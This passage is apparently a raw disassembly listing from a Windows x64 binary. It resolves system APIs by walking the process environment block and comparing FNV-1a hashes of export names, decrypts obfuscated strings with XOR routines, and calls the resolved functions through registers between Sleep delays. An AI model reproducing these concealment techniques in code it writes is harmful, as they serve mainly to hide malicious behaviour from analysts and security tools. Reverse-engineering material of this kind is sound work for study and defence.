je 0x14000ea67
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000ea67
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000ea62
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000ea40
cmp edx, 0xcded1a85
je 0x14000f3bc
test r8d, r8d
jne 0x14000ea20
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000ea7d
cmp qword [rax + 0x30], 0
jne 0x14000e9f0
mov rax, r15
mov qword [0x140103468], rax
xor ecx, ecx
call rax
movabs rdi, 0xfdfb4b50e4b6385e
movabs rbx, 0x5185f99d2731c665
mov qword [rbp + 0x3e0], r13
movabs rax, 0x949c3e3c94ea482e
mov qword [rbp + 0x3e8], rax
movabs rax, 0x72e8e2c08414a7c9
mov qword [rbp + 0x3f0], rax
movabs rax, 0xe9f2540627eb2e3e
mov qword [rbp + 0x3f8], rax
mov qword [rbp + 0x460], rbx
mov qword [rbp + 0x468], rdi
movabs rax, 0x42d986f3e048d4a7
mov qword [rbp + 0x470], rax
movabs rax, 0xe9f254064b874a10
mov qword [rbp + 0x478], rax
vmovdqu ymm0, ymmword [rbp + 0x3e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x460]
vmovdqa ymmword [rbp + 0x3e0], ymm1
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x560]
vzeroupper
call fcn.140014de0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x5e0]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rdx, [rbp + 0x560]
lea rcx, [rbp + 0x5e0]
call fcn.140011100
nop
mov r8, qword [rbp + 0x708]
mov rdx, qword [rbp + 0x700]
sub r8, rdx
lea rcx, [rbp + 0x5e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x5e0]
call fcn.140011000
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r10, qword [0x140103470]
test r10, r10
jne 0x14000ec8b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000ec57
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000ec57
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000ec52
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000ec30
cmp edx, 0x23a979e4
je 0x14000f3d8
test r8d, r8d
jne 0x14000ec10
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000ec6d
cmp qword [rax + 0x30], 0
jne 0x14000ebe0
mov r10, r15
mov qword [0x140103470], r10
movabs rdi, 0xfdfb4b50e4b6385e
movabs rbx, 0x5185f99d2731c665
movsd xmm0, qword [str.X__ZNRSS_]
movsd qword [rbp + 0x68], xmm0
movzx eax, word [0x1400ed6a0]
mov word [rbp + 0x70], ax
movups xmm0, xmmword [str.bWLPT_]
mov eax, dword [0x1400ed750]
movups xmmword [rbp + 0x3e0], xmm0
mov dword [rbp + 0x3f8], eax
movsd xmm0, qword [0x1400ed748]
movzx eax, word [0x1400ed754]
movsd qword [rbp + 0x3f0], xmm0
mov word [rbp + 0x3fc], ax
movzx eax, byte [0x1400ed756]
mov byte [rbp + 0x3fe], al
cmp byte [0x1400ed6a1], 0
je 0x14000ed19
mov byte [rbp + 0x68], 0x49
xor byte [rbp + 0x69], 0x36
xor byte [rbp + 0x6a], 0x37
xor byte [rbp + 0x6b], 0x38
xor byte [rbp + 0x6c], 0x39
xor byte [rbp + 0x6d], 0x3a
xor byte [rbp + 0x6e], 0x3b
xor byte [rbp + 0x6f], 0x3c
xor byte [rbp + 0x70], 0x3d
xor byte [rbp + 0x71], 0x3e
mov r8d, r15d
mov esi, 5
cmp r12d, 2
jl 0x14000ee7b
movdqa xmm5, xmmword [0x1400eed60]
movdqa xmm4, xmmword [0x1400eef50]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400eed90]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x1400eee20]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x3e4]
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000ed70
cmp r8d, 0x1f
jge 0x14000eec3
movsxd rax, r8d
lea r9, [rbp + 0x3e0]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x14000ee90
xor r9d, r9d
lea r8, [rbp + 0x68]
lea rdx, [rbp + 0x3e0]
xor ecx, ecx
call r10
movabs rax, 0x7ff589ed4a54b239
mov qword [rbp + 0x220], rax
movabs rax, 0xfdfb4b508ad94b34
mov qword [rbp + 0x228], rax
mov qword [rbp + 0x4e0], rbx
mov qword [rbp + 0x4e8], rdi
movdqa xmm0, xmmword [rbp + 0x4e0]
xorps xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0x220], xmm0
lea rcx, [rbp + 0xb8]
call fcn.1400040d0
nop
lea r8, [rbp + 0x9c]
lea rdx, [rbp + 0x408]
mov rcx, rax
call fcn.140014f40
nop
lea rax, [rbp + 0x220]
mov r8, r14
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000ef50
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x408]
call fcn.1400141c0
mov rdx, rax
lea rcx, [rbp + 0x580]
call fcn.1400128f0
nop
lea rcx, [rbp + 0x408]
call fcn.140012800
nop
lea rcx, [rbp + 0xb8]
call fcn.140003690
lea rax, [rbp + 0x3e0]
mov qword [rbp + 0xa8], rax
movzx edx, byte [rbp]
lea rcx, [rbp + 0x3e0]
call fcn.140005dd0
nop
xor r8d, r8d
lea rdx, [0x1400e76e9]
lea rcx, [rbp + 0x3e0]
call fcn.140015a50
nop
lea rax, [rbp + 0x4e0]
mov qword [rbp + 0x120], rax
movzx edx, byte [rbp]
lea rcx, [rbp + 0x4e0]
call fcn.140005dd0
nop
xor r8d, r8d
lea rdx, [0x1400e76e9]
lea rcx, [rbp + 0x4e0]
call fcn.140015a50
nop
lea rax, [rbp + 0x460]
mov qword [rbp + 0x1e8], rax
movzx edx, byte [rbp]
lea rcx, [rbp + 0x460]
call fcn.140005dd0
nop
xor r8d, r8d
lea rdx, [0x1400e76e9]
lea rcx, [rbp + 0x460]
call fcn.140015a50
nop
lea rax, [rbp + 0x430]
mov qword [rbp + 0x6f0], rax
movabs rax, 0x5185f99d575ca311
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], rdi
mov qword [rbp + 0x4a0], rbx
mov qword [rbp + 0x4a8], rdi
movdqa xmm0, xmmword [rbp + 0x4a0]
xorps xmm0, xmmword [rbp + 0x210]
movdqa xmmword [rbp + 0x210], xmm0
movzx edx, byte [rbp]
lea rcx, [rbp + 0x430]
call fcn.140005dd0
nop
lea rax, [rbp + 0x210]
mov r8, r14
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14000f0a0
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x430]
call fcn.140015a50
nop
lea rdx, [rbp + 0x580]
lea rcx, [rbp + 0x140]
call fcn.140012960
nop
lea rcx, [rbp + 0x3e0]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x4e0]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
lea r8, [rbp + 0x460]
lea rdx, [rbp + 0x430]
mov rcx, rax
call fcn.1400056e0
movzx ebx, byte [rbp]
mov r13d, Ordinal_35
nop dword [rax]
lea rax, [rbp + 0x4a0]
mov qword [rbp + 0xa8], rax
movups xmm0, xmmword [str.s_A_teisnr5___7F]
movups xmmword [rbp + 0x3e0], xmm0
movzx eax, word [0x1400ed8e8]
mov word [rbp + 0x3f0], ax
cmp byte [0x1400ed8e9], 0
je 0x14000f2e3
mov r8d, r15d
cmp r12d, 2
jl 0x14000f29b
movdqa xmm5, xmmword [0x1400eed60]
movdqa xmm4, xmmword [0x1400eef50]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400eed90]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1400eee20]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x3e4]
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000f190
cmp r8d, 0x12
jge 0x14000f2e3
movsxd rax, r8d
lea r9, [rbp + 0x3e0]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x14000f2b0
movzx edx, bl
lea rcx, [rbp + 0x4a0]
call fcn.140005dd0
nop
lea rax, [rbp + 0x3e0]
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000f300
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x4a0]
call fcn.140015a50
nop
lea rcx, [rbp + 0x4a0]
call fcn.140005e80
mov ecx, eax
call fcn.140006020
test eax, eax
jne 0x14000f3f5
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000f110
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
jmp 0x14000d994
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
jmp 0x14000df64
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x14000e3d0
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
jmp 0x14000e780
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x14000ea80
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
jmp 0x14000ec70
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r8d, r8d
lea rdx, [rbp + 0x560]
lea rcx, [rbp + 0x480]
call fcn.140015110
nop
lea rcx, [rbp + 0x480]
call fcn.140003fc0
movzx ebx, al
lea rcx, [rbp + 0x480]
call fcn.140003690
test bl, bl
movabs r13, 0x30abb4f851588039
je 0x14000f53b
lea rcx, [rbp + 0x5a0]
call fcn.1400127c0
mov rbx, rax
lea rcx, [rbp + 0x560]
call fcn.1400127c0
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
test eax, eax
je 0x14000f53b
mov rax, qword [0x140103468]
test rax, rax
jne 0x14000f537
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000f517
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000f517
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000f512
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000f4f0
cmp edx, 0xcded1a85
je 0x14000fa89
test r8d, r8d
jne 0x14000f4d0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000f52d
cmp qword [rax + 0x30], 0
jne 0x14000f4a0
mov rax, r15
mov qword [0x140103468], rax
xor ecx, ecx
call rax
mov rax, qword [0x140103468]
test rax, rax
jne 0x14000f607
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000f5e7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000f5e7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000f5e2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000f5c0
cmp edx, 0xcded1a85
je 0x14000faa5
test r8d, r8d
jne 0x14000f5a0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000f5fd
cmp qword [rax + 0x30], 0
jne 0x14000f570
mov rax, r15
mov qword [0x140103468], rax
xor ecx, ecx
call rax
nop
lea rcx, [rbp + 0x580]
call fcn.140012800
nop
lea rcx, [rbp + 0x688]
call fcn.140011040
lea rcx, [rbp + 0x688]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x560]
call fcn.140012800
nop
lea rcx, [rbp + 0x700]
call fcn.1400124c0
nop
lea rcx, [rbp + 0x5a0]
call fcn.140012800
nop
lea rcx, [rbp + 0x540]
call fcn.140012800
nop
lea rcx, [rbp + 0x4c0]
call fcn.140012800
nop
lea rcx, [rbp + 0x5c0]
call fcn.140003690
nop
lea rcx, [rbp + 0x500]
call fcn.140003690
nop
lea rcx, [rbp + 0x520]
call fcn.140012800
mov eax, dword [0x1401034a0]
cmp eax, 1
jne 0x140010530
lea rdx, [0x140103928]
lea ecx, [rax + 0x14]
call fcn.140024570
mov dword [rbp + 0x200], 0x42dc0000
mov dword [rbp + 0x204], 0x42240000
movsd xmm0, qword [str.vZRYK]
movsd qword [rbp + 0x170], xmm0
mov eax, dword [0x1400ed760]
mov dword [rbp + 0x178], eax
movzx eax, byte [0x1400ed764]
mov byte [rbp + 0x17c], al
mov r8d, r15d
cmp r12d, 2
jl 0x14000f820
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm6, eax
mov eax, Ordinal_35
movd xmm5, eax
movdqa xmm2, xmmword [0x1400eed60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
mov eax, dword [0x1400eee20]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.vZRYK]
xorps xmm2, xmm0
movd dword [rbp + 0x170], xmm2
movdqa xmm3, xmmword [0x1400eed80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x174]
xorps xmm2, xmm1
movd dword [rbp + 0x174], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000f830
xor r8d, r8d
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x170]
call fcn.14005fd90
test al, al
je 0x140010514
mov r10, qword [0x140103470]
test r10, r10
jne 0x14000f947
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000f927
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000f927
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000f922
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000f900
cmp edx, 0x23a979e4
je 0x14000fac1
test r8d, r8d
jne 0x14000f8e0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000f93d
cmp qword [rax + 0x30], 0
jne 0x14000f8b0
mov r10, r15
mov qword [0x140103470], r10
mov rax, qword [str.fFXW__I_fBVLLI]
mov qword [rbp + 0x110], rax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x14000fb23
cmp r12d, 2
jl 0x14000fade
movdqa xmm4, xmmword [0x1400eef50]
mov ecx, 5
movd xmm6, ecx
mov edx, Ordinal_35
movd xmm5, edx
movdqa xmm2, xmmword [0x1400eed60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
mov eax, dword [0x1400eee20]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x110]
xorps xmm2, xmm1
movd dword [rbp + 0x110], xmm2
movdqa xmm3, xmmword [0x1400eed80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x114]
xorps xmm2, xmm1
movd dword [rbp + 0x114], xmm2
jmp 0x14000fb2b
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x14000f530
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x14000f600
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
jmp 0x14000f940
lea r9, [rbp + 0x110]
mov r8d, r15d
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000faf0
mov edx, Ordinal_35
lea ecx, [rdx - 0x1a]
movups xmm0, xmmword [str.aK]
movups xmmword [rbp + 0xb8], xmm0
movups xmm1, xmmword [0x1400e8988]
movups xmm0, xmmword [0x1400e8998]
movzx eax, byte [0x1400e89a8]
movups xmmword [rbp + 0xc8], xmm1
movups xmmword [rbp + 0xd8], xmm0
mov byte [rbp + 0xe8], al
mov r8d, r15d
cmp r12d, 2
jl 0x14000fcbb
movdqa xmm5, xmmword [0x1400eed60]
movdqa xmm4, xmmword [0x1400eef50]
movd xmm6, ecx
movdqa xmm7, xmmword [0x1400eed90]
movd xmm8, edx
movdqa xmm0, xmmword [0x1400eee20]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0xbc]
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14000fbb0
cmp r8d, 0x31
jge 0x14000fd03
movsxd rax, r8d
lea r9, [rbp + 0xb8]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x14000fcd0
xor r9d, r9d
lea r8, [rbp + 0x110]
lea rdx, [rbp + 0xb8]
xor ecx, ecx
call r10
mov byte [0x140103484], 0
movzx edx, byte [rbp]
lea rcx, [rbp + 0x4a0]
call fcn.140005dd0
lea rcx, [rbp + 0x4a0]
call fcn.140005df0
nop
movabs rsi, 0x7fed8dfc576dfc26
mov qword [rbp + 0x2f0], rsi
movabs rdi, 0xfdfb4b508ad94b34
mov qword [rbp + 0x2f8], rdi
movabs rax, 0x5185f99d2731c665
mov qword [rbp + 0x840], rax
movabs rax, 0xfdfb4b50e4b6385e
